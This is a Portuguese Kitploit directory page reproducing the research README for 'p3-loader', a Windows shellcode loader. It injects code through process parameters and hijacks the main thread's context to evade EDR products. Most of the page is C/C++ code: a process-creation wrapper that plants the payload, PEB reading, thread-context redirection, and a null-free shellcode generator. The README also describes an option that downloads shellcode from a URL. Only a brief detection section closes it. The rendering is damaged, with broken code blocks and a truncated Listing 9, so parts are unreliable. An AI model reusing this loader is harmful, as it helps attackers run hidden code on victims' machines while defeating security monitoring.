Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
p3-loader — P³-Shellcode Loader é um loader que implementa uma técnica de injeção de código que utiliza a estrutura Process Parameters como local de execução e preparação para injeção de shellcode em processos remotos, sem acionar mecanismos comuns de detecção. | Kitploit
Ferramentas/GitHubGitHub/orange-cyberdefense/p3-loader
Ferramentas DefensivasEscalada de PrivilégiosExploraçãoShellcodePós-ExploraçãoTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoRed Teaming

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Desenvolvimento de Payloads
Exploração de Binários
GitHuborange-cyberdefense/p3-loader

p3-loader

P³-Shellcode Loader é um loader que implementa uma técnica de injeção de código que utiliza a estrutura Process Parameters como local de execução e preparação para injeção de shellcode em processos remotos, sem acionar mecanismos comuns de detecção.

Ver Repositório
20423há 1 mêsRevisado pelo Kitploit

P³-Shellcode Loader - Process Parameter Poisoning

Autores: Max Hirschberger & Ogulcan Ugur


Conteúdo

  1. Introdução
  2. Injeção Típica de Processos e APIs de Sistema Envolvidas
  3. Fundamento Técnico dos Internals do Windows Necessários
    • 3.1 API de Criação de Processos e Parâmetros de Inicialização
    • 3.2 O Bloco de Ambiente do Processo (PEB)
  4. Process Parameter Poisoning (P³)
    • 4.1 Iniciando um Processo com um Parâmetro Envenenado
    • 4.2 Localizando os Dados Injetados no Novo Processo
    • 4.3 Executando o Código Injetado
    • 4.4 Injeções de Payload Implementadas
  5. Passando Shellcode Arbitrário em uma String
    • 5.1 Métodos Auxiliares de Baixo Nível Usados pelo Gerador de Shellcode
    • 5.2 Implementação de Operações de Alto Nível
  6. Vantagens da Evasão de Detecção por esta Técnica
  7. Abordagem de Detecção
  8. Conclusão
  9. Referências

1. Introdução

O P³-Shellcode Loader é um carregador que implementa uma técnica de injeção de código que aproveita a estrutura Process Parameters (Process Parameter Poisoning) como local de execução e staging para injeção de shellcode em processos remotos, sem acionar mecanismos comuns de detecção.

Um conceito semelhante foi descrito pelo pesquisador de segurança modexp, que demonstrou que os argumentos passados à API CreateProcess podem ser aproveitados para esse fim [1].


2. Injeção Típica de Processos e APIs de Sistema Envolvidas

Os invasores querem tornar suas atividades menos suspeitas. Com a injeção de processos, os invasores conseguem realizar suas atividades a partir de um processo diferente, que é mais confiável ou do qual se espera que execute a atividade específica, reduzindo assim a suspeita.

As etapas típicas a seguir são necessárias para injetar código em outro processo:

  1. O invasor procura e abre um processo alvo ou inicia um novo processo (via OpenProcess / NtOpenProcess ou CreateProcess / NtCreateProcess).
  2. A memória para o código malicioso é alocada no processo alvo (via VirtualAllocEx ou NtAllocateVirtualMemory).
  3. O código malicioso é escrito na nova alocação (via WriteProcessMemory / NtWriteVirtualMemory).
  4. A proteção de acesso à memória é configurada para permitir a execução do código malicioso (via VirtualProtectEx / NtProtectVirtualMemory).
  5. Uma nova thread é iniciada no processo alvo para executar o código malicioso (via CreateRemoteThread ou NtCreateThreadEx).

Técnicas adicionais de injeção incluem, mas não se limitam a:

  • Thread Hijacking: Em vez de criar uma nova thread, uma existente é redirecionada (via NtSetContextThread)
  • Early-Bird APC-Injection: Utiliza chamadas de procedimento assíncronas (APCs) para redirecionar a execução de uma thread existente (via NtQueueApcThread)
  • Dirty Vanity: Abusa da API do Windows RtlCreateProcessReflection, que implementa o fork de processos. Em nossos testes, observamos que a maioria dos EDRs se concentra em telemetria específica para detectar injeção de processos. Os EDRs monitoram principalmente o uso de WriteProcessMemory e VirtualAllocEx, bem como suas chamadas de sistema do kernel subjacentes NtWriteVirtualMemory, NtAllocateVirtualMemory e NtAllocateVirtualMemoryEx.

3. Fundamento Técnico dos Internals do Windows Necessários

3.1 API de Criação de Processos e Parâmetros de Inicialização

O Windows fornece a função de API CreateProcessW para criar novos processos, mostrada na Listagem 1. Os três primeiros parâmetros dela — lpCommandLine, lpEnvironment e lpStartupInfo — são relevantes para a técnica de injeção descrita, pois são usados para transferir dados ao novo processo.```c BOOL CreateProcessW( [in, optional] LPCWSTR lpApplicationName, [in, out, optional] LPWSTR lpCommandLine, [in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes, [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] BOOL bInheritHandles, [in] DWORD dwCreationFlags, [in, optional] LPVOID lpEnvironment, [in, optional] LPCWSTR lpCurrentDirectory, [in] LPSTARTUPINFOW lpStartupInfo, [out] LPPROCESS_INFORMATION lpProcessInformation );

root@kitploit:~
*Listagem 1: Definição da função CreateProcessW da API do Windows*
 
O parâmetro `lpCommandLine` especifica a linha de comando para o novo processo. Ele é limitado a um máximo de 32.767 caracteres Unicode, incluindo o terminador nulo Unicode. Para a variante Unicode, é necessário fornecer uma string na qual a função possa gravar. Se uma string constante for fornecida, qualquer tentativa de gravação feita pela função da API resulta em uma violação de acesso à memória. Se o valor for `NULL`, a linha de comando do processo será obtida do parâmetro `lpApplicationName`. Se `lpApplicationName` for `NULL`, ele deverá ser fornecido no campo `lpCommandLine` e é limitado a `MAX_PATH` caracteres.
 
O parâmetro `lpEnvironment` fornece uma lista de variáveis de ambiente para o processo. Se o valor for `NULL`, o ambiente do processo criador será usado. A lista de variáveis de ambiente consiste em strings sucessivas terminadas em nulo, no formato `NAME=VALUE`, com outro terminador nulo no final.
 
O parâmetro `lpStartupInfo` é uma estrutura mostrada na Listagem 2, com campos como estação de janela, desktop, handles de entrada e saída padrão, bem como campos que configuram a janela principal do novo processo. De acordo com a documentação da Microsoft, o campo `lpReserved` é reservado para uso interno, sem documentação adicional. Por meio de análise com o depurador WinDbg, foi possível relacionar esse parâmetro à variável `ShellInfo` do tipo `UNICODE_STRING` no novo processo.```c
typedef struct _STARTUPINFOW {
    DWORD  cb;
    LPWSTR lpReserved;   // Copied to ShellInfo (UNICODE_STRING)
    LPWSTR lpDesktop;
    LPWSTR lpTitle;
    DWORD  dwX;
    DWORD  dwY;
    DWORD  dwXSize;
    // (...) additional fields
    WORD   wShowWindow;
    WORD   cbReserved2;
    LPBYTE lpReserved2;
    HANDLE hStdInput;
    // (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;

Listagem 2: Layout da estrutura de dados STARTUPINFOW

3.2 O Bloco de Ambiente do Processo (PEB)

Na criação de um novo processo, todos os parâmetros de processo fornecidos são gravados no Bloco de Ambiente do Processo (PEB). O PEB é uma estrutura de dados presente em todos os processos e exclusiva de cada processo. Os parâmetros podem ser acessados no membro ProcessParameters do tipo RTL_USER_PROCESS_PARAMETERS. Além dos parâmetros de processo, essa estrutura também inclui outras informações de tempo de execução, como uma lista de módulos carregados. A estrutura do PEB e os parâmetros de processo relevantes no RTL_USER_PROCESS_PARAMETERS são mostrados na Listagem 3 e na Listagem 4.```c typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; // (...) additional fields PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable PVOID SubSystemData; PVOID ProcessHeap; PRTL_CRITICAL_SECTION FastPebLock; // (...) additional fields } PEB, *PPEB;

root@kitploit:~
*Listagem 3: Layout da estrutura de dados do PEB*```c
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
    ULONG MaximumLength;
    ULONG Length;
    ULONG Flags;
    ULONG DebugFlags;
    // (...) additional fields
    CURDIR         CurrentDirectory;
    UNICODE_STRING DllPath;       // Potential candidate for transfer
    UNICODE_STRING ImagePathName; // Potential candidate for transfer
    UNICODE_STRING CommandLine;   // Primary candidate for transfer
    PVOID          Environment;   // Primary candidate for transfer
    // (...) additional fields
    UNICODE_STRING ShellInfo;     // Primary candidate for transfer
                                  // (lpReserved in STARTUPINFO)
    UNICODE_STRING RuntimeData;   // Potential candidate for transfer
    // (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

Listagem 4: Layout da estrutura de dados RTL_USER_PROCESS_PARAMETERS

A Figura 1 mostra o parâmetro ShellInfo com o valor de envenenamento fornecido no campo lpReserved para a estrutura STARTUPINFOW. Além disso, a Figura 2 mostra a linha de comando controlada dentro da ferramenta System Informer.

image

Figura 1: Parâmetro ShellInfo Envenenado

image

Figura 2: Linha de Comando Envenenada


4. Envenenamento de Parâmetros de Processo (P³)

4.1 Iniciando um Processo com um Parâmetro Envenenado

Como existem vários parâmetros que podem ser usados para copiar o código malicioso, a função wrapper na Listagem 5 cria um processo com o argumento de envenenamento fornecido ao parâmetro de processo escolhido. Ao executar o injetor implementado, essa escolha pode ser feita conforme mostrado na Figura 3. Além disso, qualquer valor pode ser fornecido para o aplicativo de destino que será usado em lpApplication, com o prompt do usuário mostrado na Figura 4.```cpp BOOL CreateProcessWithPoison (int choice, PWCHAR lpApplication, PWCHAR poisonParameter, PPROCESS_INFORMATION pi) { STARTUPINFOW si = { 0 }; switch (choice) { case 1: // Injection via ShellInfo (lpReserved) printf("[] Writing into ShellInfo...\n"); si.lpReserved = poisonParameter; return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi); case 2: // Injection via Environment block printf("[] Writing into Environment block...\n"); return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, poisonParameter, NULL, &si, pi); case 3: // Injection via CommandLine printf("[~] Writing into CommandLine...\n"); return CreateProcessW(lpApplication, poisonParameter, NULL, NULL, FALSE, 0, NULL, NULL, &si, pi); default: return FALSE; } }

root@kitploit:~
*Listagem 5: Implementação de CreateProcessWithPoison*
 
Esta função implementa três opções distintas de parâmetros:
 
1. **Injeção de ShellInfo:** Coloca o veneno no campo `lpReserved` do parâmetro `lpStartupInfo`, que será copiado para a variável `ShellInfo` no PEB
2. **Injeção de Ambiente:** Coloca o veneno no parâmetro `lpEnvironment` com a flag `CREATE_UNICODE_ENVIRONMENT`
3. **Injeção na Linha de Comando:** Coloca o veneno no parâmetro `lpCommandLine` de `CreateProcessW`

<img width="753" height="445" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/878e41931d49b82212556e099ba928cab890d427cd87498fb667f3e0965dbbe1.png" />


*Figura 3: Seleção do Parâmetro Poisonable*


<img width="752" height="167" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/a128d8601b3edcfbf31ba3aa3c10fe995910fc932973a6d86e263f6edafb1bb8.png" />

 
*Figura 4: Seleção do Executável de Aplicação Alvo*
 
### 4.2 Localizando os Dados Injetados no Novo Processo
 
Após a criação bem-sucedida do processo, os dados injetados podem ser encontrados por meio da estrutura PEB. As três etapas a seguir são necessárias para localizar o veneno no novo processo.
 
Primeiro, o endereço inicial da estrutura PEB é determinado chamando `NtQueryInformationProcess`. `NtQueryInformationProcess` recupera a estrutura de dados `PROCESS_BASIC_INFORMATION` quando chamado com a classe de informação `ProcessBasicInformation`. E `PROCESS_BASIC_INFORMATION` contém o endereço do PEB no campo `PebBaseAddress`. Esta etapa é mostrada na Listagem 6.```cpp
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
    pi.hProcess,             // Handle of the new process
    ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
    &pbi,                    // Destination
    sizeof(pbi),             // Size of the destination
    &retLen                  // Resulting size of what was read
);

Listing 6: Primeiro Passo para Localizar os Dados Injetados

Na segunda etapa, a estrutura PEB é lida chamando NtReadVirtualMemoryEx com o endereço inicial da estrutura que foi recuperada na primeira etapa. A implementação da segunda etapa é mostrada no Listing 7.```cpp PEB pebLocal = { 0 }; SIZE_T bytesRead; NTSTATUS status = winapi.NtReadVirtualMemoryEx( pi.hProcess, // Handle of the new process pbi.PebBaseAddress, // Starting address of the PEB &pebLocal, // Destination / Local copy of the PEB sizeof(pebLocal), // Size to be read &bytesRead, // Resulting size of what was read 0 // Reserved parameter );

root@kitploit:~
*Listagem 7: Segunda Etapa da Localização dos Dados Injetados*
 
Depois de ler o PEB, o campo `ProcessParameters` contém o endereço inicial da estrutura `RTL_USER_PROCESS_PARAMETERS` no novo processo. Na terceira etapa, essa estrutura também é lida do novo processo. Os ponteiros para os dados injetados estão dentro dessa estrutura. A terceira etapa é mostrada na Listagem 8.```cpp
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
    pi.hProcess,                // Handle of target process
    pebLocal.ProcessParameters, // ProcessParameters address in target
    &parameters,                // Output buffer / Local copy
    sizeof(parameters),         // Size to be read
    &bytesRead,                 // Resulting size of what was read
    0                           // Reserved parameter
);

Listagem 8: Terceira Etapa da Localização dos Dados Injetados

Essa abordagem usa apenas APIs de leitura de memória e nenhuma API de escrita ou alocação na qual os EDRs se concentram. No entanto, há uma limitação imposta pelos parâmetros. Como esses parâmetros são strings terminadas em nulo, apenas shellcode sem terminador nulo pode ser totalmente transferido. Uma solução para superar essa limitação é fornecida na Seção 5.

4.3 Executando o Código Injetado

Após transferir o código, a execução do processo ainda precisa ser direcionada para o código. Além disso, a proteção de memória dos dados injetados precisa ser ajustada, pois os parâmetros não são colocados em regiões marcadas como executáveis.

Para alterar a proteção, a API do Windows NtProtectVirtualMemory é usada para mudar a proteção de apenas leitura e gravação para apenas leitura e execução.

Para redirecionar a execução do código para o shellcode, existem os seguintes três métodos:

  • CreateRemoteThread / NtCreateThreadEx: Cria uma nova thread que começa no shellcode
  • QueueUserAPC / NtQueueApcThread: Enfileira uma APC em uma thread existente que acaba redirecionando-a para o shellcode
  • Manipulação do Contexto da Thread: Modifica o ponteiro de instrução de uma thread existente para mover sua execução para o shellcode Durante a implementação inicial desta técnica, a abordagem Dirty Vanity foi avaliada para executar o código. No entanto, vários EDRs levantaram alertas para esse método.

Uma análise detalhada da implementação de RtlCreateProcessReflection revelou que ela faz chamadas a NtWriteVirtualMemory e NtCreateThreadEx. Essencialmente, ela cria uma thread em um processo alvo para executar uma função dentro de ntdll.dll. Essa função tanto cria o processo bifurcado ao chamar RtlCloneUserProcess quanto também realiza uma escrita de memória no processo bifurcado.

Como NtWriteVirtualMemory é um dos principais indicadores usados pelos EDRs, o método Dirty Vanity apenas aumenta a suspeita além do necessário.

Em vez disso, é usada a manipulação do contexto da thread principal, pois ela oferece as seguintes vantagens em relação ao Dirty Vanity:

  • Disponibilidade de Handles de Thread: CreateProcessW já fornece um handle válido para a thread principal dentro da estrutura PROCESS_INFORMATION. Um handle é um objeto de referência abstrato que o kernel fornece para interagir com recursos do sistema, como processos, threads e arquivos. Handles são essencialmente índices em tabelas de handles específicas do processo que mapeiam cada handle para um objeto no kernel com um nível associado de acesso ao objeto.
  • Evitando Chamadas de API Suspeitas: NtWriteVirtualMemory, VirtualAllocEx e CreateRemoteThread nunca são usados; apenas NtSetContextThread é chamado. O contexto de uma thread é o estado de todos os registradores do processador. Portanto, é possível redirecionar o fluxo de execução de uma thread manipulando seu contexto, ou seja, alterando o registrador de ponteiro de instrução. Normalmente, o contexto da thread é manipulado nas seguintes etapas:
  1. Suspensão da Thread: A thread alvo é colocada em estado suspenso, seja chamando SuspendThread ou criando-a em estado suspenso

  2. Leitura do Contexto: O contexto atual é lido em uma estrutura de dados CONTEXT via GetThreadContext

  3. Modificação do Contexto: As alterações desejadas são feitas no contexto, por exemplo, alterando o registrador de ponteiro de instrução RIP

  4. Aplicação do Contexto: O contexto modificado é gravado na thread chamando SetThreadContext

  5. Retomada da Thread: ResumeThread é chamado para retomar a execução da thread no novo valor de RIP O contexto de uma thread pode ser alterado sem suspendê-la primeiro. Portanto, não é necessário chamar SuspendThread e ResumeThread, que podem ser monitoradas por EDRs para injeção de processos. Além disso, a chamada a GetThreadContext também pode ser dispensada, se a execução anterior não precisar ser restaurada em um momento posterior. A implementação resultante é mostrada na Listagem 9.```cpp NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode) { CONTEXT ctx; ctx = { 0 }; ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough WinApiResolver winapi = WinApiResolver::GetInstance(); NTSTATUS status = 0;

root@kitploit:~
*Listagem 9: Manipulação do Contexto de Thread em ThreadSetExec*
 
### 4.4 Injeções de Payload Implementadas
 
Nossa implementação dessa técnica de injeção inclui as quatro opções de payload mostradas na Figura 5.
 
1. A primeira opção é uma demonstração simples que exibe uma janela popup e é mostrada na Figura 5. Essa opção não requer shellcode adicional ou arquivos executáveis que serão injetados.
2. A segunda opção recebe uma representação hexadecimal do shellcode e o injeta. Se o shellcode contiver bytes nulos, ele é injetado com o método descrito na Seção 5.
3. A terceira opção aceita um caminho para um arquivo DLL que é então fornecido a `LoadLibraryA` no alvo.
4. Por fim, a quarta opção carrega shellcode bruto de uma URL HTTP(S) e também lida com a limitação de bytes nulos.

<img width="598" height="200" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/f98211120a8cba1628a3514f30befdc7e8ba315cec4148f071216ee5647b7c9b.png" />


*Figura 5: Escolha do Shellcode Injetado*


<img width="841" height="556" alt="image" src="https://assets.kitploit.com/production/public/readmes/42034/3d662981ef5fe16b62eb12c934ba483f9cb75e87343e5ea330de69b2ed5f2985.png" />


*Figura 6: Caixa de Mensagem Criada pelo Shellcode*
 
---

## 5. Passando Shellcode Arbitrário em uma String
 
Não é possível passar quaisquer dados arbitrários dentro dos parâmetros. Isso ocorre porque somente os dados até um terminador nulo serão copiados. Para superar essa limitação, construímos um gerador de shellcode que não emite terminadores nulos.
 
Esse gerador de shellcode pode criar shellcode para chamar `MessageBoxA`, `LoadLibraryA`, `NtTerminateProcess` ou `NtSuspendThread` com parâmetros arbitrários. Além disso, ele pode gerar shellcode que decodifica um shellcode de segundo estágio arbitrário e salta para ele.
 
Ele é implementado na classe C++ `ShellCodeWriter` com métodos auxiliares privados e métodos públicos para a funcionalidade exposta. Os detalhes da implementação serão explicados a seguir.
 
### 5.1 Métodos Auxiliares de Baixo Nível Usados pelo Gerador de Shellcode
 
`Xor` é usado como a primitiva que permite ao shellcode gerar quaisquer dados, incluindo bytes nulos. Essa primitiva é implementada no método auxiliar `SetRAXXOR`, que recebe dois valores de 64 bits. Ele emite shellcode que realiza uma operação xor com os valores de 64 bits fornecidos e salva o resultado no registrador `RAX`.
 
O auxiliar adicional `SetRAX` cria esses dois valores de 64 bits que, quando submetidos a xor, resultam em um determinado valor. Ele também garante que esses dois valores de 64 bits não contenham bytes nulos. Em essência, `SetRAX` emite shellcode que definirá o registrador `RAX` para um valor arbitrário de 64 bits.
 
Tanto `SetRAXXOR` quanto `SetRAX` são mostrados na Listagem 10. Além disso, o código de máquina resultante de três chamadas de exemplo a `SetRAX` é mostrado na Listagem 11.```cpp
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
    const char gadget[] =
        "\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
        "\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
        "\x4C\x31\xF8";                              // xor rax, r15
    uint64_t* xor_a = (uint64_t*)(gadget + 2);
    uint64_t* xor_b = (uint64_t*)(gadget + 12);
    *xor_a = xor_a_value;
    *xor_b = xor_b_value;
    AppendShellCode(gadget, 23);
}
 
void ShellCodeWriter::SetRAX(uint64_t value)
{
    if (value == 0)
    {
        AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
        return;
    }
    uint64_t xor_a = 0, xor_b = 0x0101010101010101;
    // Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
    for (int i = 0; i < 8; i++)
    {
        if (((uint8_t*)(&value))[i] == 0x01)
        {
            ((uint8_t*)(&xor_b))[i] = 0x02;
        }
    }
    xor_a = value ^ xor_b;
    SetRAXXOR(xor_a, xor_b);
}

Listagem 10: Implementação de SetRAXXOR e SetRAX```asm ; SetRAX(0) xor rax, rax

; SetRAX(0xDEADBEEF) mov rax, 0x01010101DFACBFEE mov r15, 0x0101010101010101 xor rax, r15

; SetRAX(1) mov rax, 0x0101010101010103 mov r15, 0x0101010101010102 xor rax, r15

root@kitploit:~
*Listagem 11: Exemplos de Código Emitido por `SetRAX`*
 
`SetRAX` é a base para os métodos auxiliares `PushValue`, `PushBuffer`, `SetArgRegister` e `SetArgRegisterStackRelative`. `PushValue` chama `SetRAX` e o segue com uma instrução `push RAX`, permitindo assim empurrar valores arbitrários para a pilha. `PushBuffer` usa `PushValue` para escrever um array arbitrário de bytes na pilha; para isso, divide os dados em valores de 64 bits e os empurra em ordem reversa. A ordem precisa ser invertida, pois o ponteiro da pilha é decrementado após cada `push`. O gerador de shellcode mantém o controle de quantos bytes foram empurrados com a variável `m_total_consumed_stack_bytes`. Essa variável é usada no método auxiliar `FreeStack` para limpar a pilha, revertendo o ponteiro da pilha ao seu valor inicial.
 
Na interface binária de aplicativos x86 de 64 bits do Windows, os registradores `RCX`, `RDX`, `R8` e `R9` são usados para os primeiros quatro argumentos ao chamar uma função. Argumentos adicionais são empurrados na pilha, após um espaço de sombra de 32 bytes. O espaço de sombra é reservado para a função chamada e é usado para salvar os quatro primeiros registradores de argumentos. `SetArgRegister` e `SetArgRegisterStackRelative` são usados para definir um desses quatro registradores de argumentos. `SetArgRegister` define um determinado registrador para um valor constante arbitrário. E o código gerado por `SetArgRegisterStackRelative` escreve o ponteiro da pilha mais um deslocamento constante no registrador de argumento correspondente. Quaisquer argumentos adicionais de função podem ser empurrados com o método auxiliar `PushValue`.
 
O auxiliar `Call` emite código que alinha o ponteiro da pilha em 16 bytes, então executa uma chamada para o endereço fornecido e, por fim, reverte qualquer alteração de alinhamento feita inicialmente. Um ponteiro de pilha alinhado em 16 bytes é necessário para evitar travamentos em funções que utilizam operações de ponto flutuante com registradores XMM. Ao chamar funções com argumentos passados na pilha, o alinhamento precisa estar correto antes de chamar este auxiliar. Caso contrário, os argumentos terminam no deslocamento errado da pilha.
 
### 5.2 Implementação de Operações de Nível Superior
 
A operação mais simples é chamar `NtTerminateProcess` ou `NtSuspendThread`. Devido à sua semelhança, apenas `NtTerminateProcess` será abordada, que é mostrada na Listagem 12. `NtTerminateProcess` recebe dois parâmetros e segue a convenção de chamada x64. Primeiro, o auxiliar `SetArgRegister` é chamado para ambos os parâmetros, para inicializá-los com os valores fornecidos. Então, a função da API é chamada.
 
Como o shellcode é gerado na mesma máquina, o endereço da função é resolvido no momento da geração e não dentro do shellcode. A resolução das funções da API é tratada pela classe `WinApiResolver`. Finalmente, o método auxiliar `Call` gera a instrução de chamada e o código de alinhamento da pilha.```cpp
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
    SetArgRegister(0, (uint64_t)ProcessHandle);
    SetArgRegister(1, ExitStatus);
    WinApiResolver winapi = WinApiResolver::GetInstance();
    Call((uint64_t)winapi.NtTerminateProcess);
}

Listagem 12: Implementação de ShellCodeWriter::CallTerminateProcess

Funções que recebem valores de ponteiro, como LoadLibraryA e MessageBoxA, não podem ser usadas da mesma forma. Isso ocorre porque é necessário um endereço de memória válido, que não é conhecido no momento da geração do shellcode. Portanto, a função auxiliar SetArgRegisterStackRelative é usada para definir o argumento como um endereço na pilha. Na Listagem 13, a string do parâmetro do módulo é escrita na pilha e o primeiro registrador de argumento é definido para apontar para o início da string do módulo na pilha. Além disso, a função move o ponteiro da pilha em 32 bytes para considerar o shadow space. Sem isso, a função chamada sobrescreveria a string do módulo.```cpp void ShellCodeWriter::CallLoadLibraryA(LPCSTR module) { PushBuffer(module, strlen(module) + 1); int pos_buf = m_total_consumed_stack_bytes; // Shadow Space AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32 m_total_consumed_stack_bytes += 32; // Populate arg registers SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.LoadLibraryA); }

root@kitploit:~
*Listagem 13: Implementação de ShellCodeWriter::CallLoadLibraryA*
 
Finalmente, `LoadAndCallShellCode` aceita um shellcode arbitrário que pode incluir bytes nulos e o executa. Sua implementação é mostrada nas Listagens 14 e 15 e é dividida nas cinco operações a seguir:
 
1. O shellcode arbitrário é gravado na pilha via `PushBuffer`. Depois, o espaço de sombra é alocado para proteger o shellcode de ser sobrescrito.
2. Em seguida, é feita uma simples chamada a `VirtualAlloc` que usa parâmetros já conhecidos no momento da geração. Essa chamada de API aloca memória protegida para leitura/gravação e que pode comportar o shellcode.
3. Depois, o endereço de memória retornado por `VirtualAlloc` é salvo nos dois registradores `R12` e `R10`. Então `R11` é inicializado com o tamanho do shellcode e `RCX` é definido para apontar para o início do shellcode. Com os registradores `R10`, `R11` e `RCX` definidos, seis instruções se seguem que realizam uma cópia de memória, copiando o shellcode para a região de memória recém-alocada.
4. O salto para o shellcode ainda não é possível, pois a região de memória está protegida para leitura/gravação. É possível alocar uma região de leitura/gravação e executável, mas isso provavelmente seria considerado mais suspeito. Portanto, é feita uma chamada a `VirtualProtect` para alterar a proteção para legível e executável, mas não gravável.
5. E por fim, é feito um salto para o shellcode, após garantir que a pilha esteja devidamente alinhada.```cpp
void ShellCodeWriter::LoadAndCallShellCode(const std::vector<uint8_t>& shellcode)
{
    // 1. Pushes the shellcode to the stack
    PushBuffer(shellcode.data(), shellcode.size());
    int pos_sc = m_total_consumed_stack_bytes;
    // Shadow Space
    AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
    m_total_consumed_stack_bytes += 32;
 
    // 2. Allocates READWRITE memory
    CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
 
    { // 3. Copies shellcode from the stack to the newly allocated area
        AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
        AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
        SetRAX(shellcode.size());
        AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
        SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
        // r10: Shellcode dest ptr
        // r11: size
        // rcx: Shellcode src ptr
        const char* copy_sc =
            "\x8A\x01"   // mov al, byte ptr ds:[rcx]
            "\x41\x88\x02" // mov byte ptr ds:[r10], al
            "\x48\xff\xc1" // inc rcx
            "\x49\xff\xc2" // inc r10
            "\x49\xff\xcb" // dec r11
            "\x75\xf0";    // jnz -16
        AppendShellCode(copy_sc, 16);
    }
    // (...)

Listagem 14: Implementação de ShellCodeWriter::LoadAndCallShellCode (Etapas 1–3)```cpp // (...) { // 4. Changes protection of the newly allocated area to EXECUTE_READ // VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src); AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress SetArgRegister(1, shellcode.size()); SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc)); WinApiResolver winapi = WinApiResolver::GetInstance(); Call((uint64_t)winapi.VirtualProtect); }

root@kitploit:~
if (m_total_consumed_stack_bytes % 16)
{
    AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
    m_total_consumed_stack_bytes += 8;
}

// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12

}

root@kitploit:~
*Listagem 15: Implementação de ShellCodeWriter::LoadAndCallShellCode (Etapas 4–5)*
 
---

## 6. Vantagens da Evasão de Detecção por esta Técnica
 
Uma grande vantagem desta técnica é que nenhum processo é criado em estado suspenso e nenhuma thread ou processo é suspenso durante sua execução. Criar processos suspensos ou chamadas repetidas a `SuspendThread` são indicadores conhecidos usados por EDRs para process hollowing, injeção de processo e ataques semelhantes.
 
Além disso, ao criar o processo alvo, um handle para a thread principal já está disponível e possui o acesso necessário para alterar seu contexto.
 
| Aspecto | Injeção Clássica | Envenenamento de Parâmetros de Processo |
|---|---|---|
| Alocação de Memória | `VirtualAllocEx` necessário | Sem alocação explícita |
| Escrita de Memória | `WriteProcessMemory` necessário | Indireta via `CreateProcessW` |
| Redirecionamento de Execução | `CreateRemoteThread` ou APC | `SetThreadContext` |
| Chance de Detecção | Alta (muitas APIs suspeitas) | Reduzida (criação benigna de processo) |
| Telemetria do EDR | Monitorada de perto | Observabilidade reduzida |
 
No geral, esta técnica gera muito menos suspeita, pois deixa uma pegada (fingerprint) menor ao usar APIs legítimas de criação de processo e gerenciamento de threads.
 
---

## 7. Abordagem de Detecção
 
Existem vários indicadores suspeitos gerados por esta técnica, que podem ser usados para detectá-la.
 
- `VirtualProtectEx` que torna uma região de memória executável seguido de `SetThreadContext` com pelo menos `CONTEXT_CONTROL`. Vale notar que o ponteiro de instrução não precisa apontar para essa região executável, pois pode apontar para um gadget que então o redireciona. No entanto, é muito provável que um ponteiro para a região de memória seja escrito em um dos registradores da CPU.
- `VirtualProtectEx` que torna páginas dos parâmetros do processo executáveis, tanto no próprio processo quanto em processos externos.
